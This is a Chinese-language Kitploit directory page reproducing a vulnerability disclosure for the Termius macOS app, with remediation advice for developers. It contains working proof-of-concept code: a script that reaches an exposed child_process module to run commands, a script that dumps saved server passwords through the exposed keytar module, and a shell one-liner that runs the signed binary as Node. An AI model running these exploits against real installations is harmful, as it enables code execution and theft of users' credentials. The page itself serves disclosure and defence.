Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-Termius — # 三个 Termius macOS 严重漏洞的漏洞披露及 PoC:通过暴露的 Node 模块实现远程代码执行、本地权限提升凭据转储,以及 Electron fuse 绕过。包含修复指导。 | Kitploit
工具/GitHubGitHub/nicetop1027/cve-2026-termius
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用论文与研究错误配置学习与教育
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

# 三个 Termius macOS 严重漏洞的漏洞披露及 PoC:通过暴露的 Node 模块实现远程代码执行、本地权限提升凭据转储,以及 Electron fuse 绕过。包含修复指导。

查看仓库
47个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Termius macOS 应用程序漏洞报告(CVE-2026-Termius)

目标: Termius (macOS) 测试版本: 最新版(截至 2026 年 1 月) 影响: 远程代码执行 (RCE)、本地权限提升 (LPE)、应用安全绕过

🚨 执行摘要

在 Termius macOS 应用程序中发现了三个严重漏洞,攻击者可利用这些漏洞:

  1. 执行任意系统命令(RCE):通过暴露给渲染进程的隐藏后门 Symbol。
  2. 转储所有已保存密码(LPE):滥用暴露的原生 keytar 模块。
  3. 完全绕过应用程序安全机制:利用缺失的 ELECTRON_RUN_AS_NODE fuse。

1. 严重:通过隐藏 Symbol 实现远程代码执行(RCE)

漏洞详情

应用程序将强大的 Node.js 模块(child_process、fs、electron)暴露给渲染进程(应用中的 Web 界面部分)。这些模块隐藏在 window 对象中的全局 后面以进行混淆,但并未进行安全隔离。

Symbol
  • 易受攻击的代码模式:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

漏洞利用(PoC)

攻击者一旦实现跨站脚本(XSS),即可利用此暴露的 Symbol 立即升级为 RCE。

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. 严重:本地凭据转储(LPE)

漏洞详情

Termius 用于与 macOS 钥匙串(Keychain)交互的原生 Node 模块 keytar 也通过同一个隐藏 Symbol 暴露。这允许在应用程序上下文中运行的任何脚本(例如恶意插件、XSS 或本地进程注入)查询并检索所有已保存服务器的明文密码。

漏洞利用(PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. 严重:缺失 Electron Fuse(RunAsNode)

漏洞详情

Termius 二进制文件未禁用 ELECTRON_RUN_AS_NODE fuse。这是一个严重的安全配置错误,允许任何本地用户将已签名的 Termius 二进制文件作为标准 Node.js 可执行文件运行。这完全绕过了 macOS 代码签名对应用程序逻辑的完整性检查。

漏洞利用(PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

修复建议(面向开发者)

  1. 禁用 Electron Fuses:在构建时使用 @electron/fuses 显式禁用 RunAsNode 和 EnableNodeCliInspectArguments。
  2. 移除全局 Symbol 暴露:不要将敏感模块附加到 window 或 global。使用 contextBridge.exposeInMainWorld,通过受限的 API 表面仅暴露必要的函数,而非整个模块。
  3. 净化 IPC:确保所有进程间通信(IPC)都经过严格类型检查和验证。

报告由 Antigravity Agent 生成

下载工具